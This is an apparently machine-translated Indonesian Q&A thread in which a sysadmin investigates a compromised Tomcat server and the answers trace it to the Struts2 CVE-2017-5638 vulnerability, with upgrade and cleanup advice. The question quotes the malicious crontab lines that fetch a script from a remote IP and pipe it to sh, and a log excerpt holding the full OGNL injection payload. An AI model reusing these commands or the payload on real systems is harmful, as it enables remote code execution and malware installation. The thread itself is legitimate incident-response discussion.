Serangan skrip Shell di server Apache, melalui cron yang tidak diketahui asalnya

8

Saat menjalankan perang proyek di server tomcat Apache saya menemukan bahwa server telah dikompromikan.

Saat menjalankan perang melawan orang tak dikenal cronberjalan seperti ini

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

Yang diunduh logo.jpgmemiliki skrip shell yang sedang mengunduh malware.

Saya menemukan masalah serupa di situs web ini di bawah ini

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

dan

/security/160068/kworker34-malware-on-linux

Saya tidak dapat menemukan asal dari penjadwal cron ini di seluruh kode saya.

Apa yang ingin saya ketahui bahwa ada yang menghadapi masalah ini? dan bagaimana cara mencari asal dari scheduler dalam kode.

catatan:

Saya sedang mengerjakan proyek web JAVA (Struts 2) + jsp + javascript + jquery.

Penjadwal ini berjalan setiap kali saya memulai kucing jantan saya dengan file perang proyek, tetapi saya tidak dapat menemukan penjadwal untuk penjadwal dalam kode saya.

Saya telah menemukan baris berikut di file log saya

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 
abhi314
sumber
Apakah Anda mengubah login Tomcat default dan menonaktifkan host-manager?
Apakah maksud Anda asal dari dua entri crontab ini (yang merupakan pekerjaan cron) atau penjadwal cron (juga kadang-kadang daemon cron)? Apakah Anda menelurkan proses atau skrip shell dari aplikasi Java Anda (seperti Runtime.getRuntime().exec("something"))? Apakah Anda memiliki tautan ke proyek Anda?
Jan Zerebecki
Ketika Anda memulai kucing jantan tanpa aplikasi Java yang terinfeksi, apakah cron diaktifkan?
Bagaimana Anda memulai kucing jantan? Bagaimana Anda menyebarkan aplikasi? (via GUI, menulis skrip atau hanya menyalin file .war di webapps?
Saya telah menambahkan log aplikasi saya, silakan lihat. Jangan ragu untuk memberi tahu saya apa pun yang dapat Anda pikirkan tentang masalah ini.

Jawaban:

4

Setelah OP menambahkan log, menjadi jelas, bahwa masalahnya adalah eksploitasi Eksekusi Kode Jarak Jauh untuk Struts 2 ( CVE-2017-5638 ).

Beberapa tautan tambahan:

  1. Eksploitasi Remote Code Struts2 Eksekusi baru tertangkap di alam liar .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

Solusinya adalah dengan meningkatkan Struts Anda ke versi 2.3.32 atau 2.5.10.1.

mengamuk
sumber
Terima kasih atas jawaban Anda, tetapi saya sudah memeriksa kode saya untuk kata kunci seperti 'logo.jpg' dan '91 .230.47.40 'mereka tidak ada di sana. Saya telah menambahkan log aplikasi saya, silakan lihat. Jangan ragu untuk memberi tahu saya apa pun yang dapat Anda pikirkan tentang masalah ini.
2

Saya pernah menghadapi masalah serupa sebelumnya ketika saya masih sysadmin. Saya pikir Anda harus membedakan apakah itu server kucing jantan atau aplikasi Java Anda.

Ketika Anda memulai kucing jantan tanpa "aplikasi Java yang terinfeksi", apakah cron diaktifkan? (Maksud saya, menghapus aplikasi Anda dari Tomcat dan memulainya) Jika demikian maka Anda memiliki masalah yang lebih besar, Anda harus memverifikasi skrip startup dan setiap aplikasi yang digunakan di server tomcat.

Kalau tidak, kami yakin aplikasi Anda yang menjadi masalah.

Jika demikian, buka:

$CATALINA_BASE/webapps/your_app 

Verifikasi integritas aplikasi Anda, apakah ada file tambahan yang tidak Anda kenali?

Sekarang pergi ke direktori webapps dari instalasi kucing jantan Anda:

$CATALINA_BASE/webapps/

Dalam direktori itu lakukan:

grep -R '91.230.47.40' *

Untuk menemukan kemungkinan file / baris kode yang menyebabkan infeksi, itu bisa berupa file aplikasi Anda atau yang baru.

Apakah Anda memiliki kode di sistem CSV?

Buat file perang di luar server yang terinfeksi dari repo CSV Anda dan lakukan:

md5sum your_app.war

Hapus aplikasi Anda dari server kucing jantan dan gunakan kembali, verifikasi bahwa Anda mengunggah perang yang benar melalui md5, lalu periksa apakah crontab dijalankan.

Jika Anda memberikan umpan balik tentang langkah-langkah ini, saya akan dengan senang hati membantu.

Miguel Ortiz
sumber
1
Saya sudah memeriksa kode saya untuk kata kunci seperti 'logo.jpg' dan '91 .230.47.40 'mereka tidak ada di sana, tetapi masalahnya adalah dengan aplikasi bukan kucing jantan itu. Saya telah menambahkan log aplikasi saya, silakan lihat. Jangan ragu untuk memberi tahu saya apa pun yang dapat Anda pikirkan tentang masalah ini.
2

Kami hanya harus melawan serangan semacam ini di server, terus restart menimpa crontab untuk pengguna kucing jantan kami seperti yang dijelaskan di atas. Alamat IP itu identik. Grep seluruh dir webapps untuk alamat IP tidak mengungkapkan pelakunya.

Dalam kasus kami, kami tidak menggunakan struts, tetapi kami memiliki aplikasi "host-manager" dan "manager" di webapps, dan kami telah mengaktifkan / port JMX terbuka. Memulai kembali tanpa yang tampaknya telah terpecahkan, jadi dugaan saya adalah bahwa kerentanan mungkin ada di salah satunya. Khususnya ada kerentanan JMX yang diperbaiki di 7.0.73 yang mungkin menjadi penyebab kami ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Tindakan pencegahan lain yang sekarang kita ambil adalah membatasi akses ke wget dan chmod untuk root saja (lakukan saja chmod 770 pada binari-binari itu).

Yakub
sumber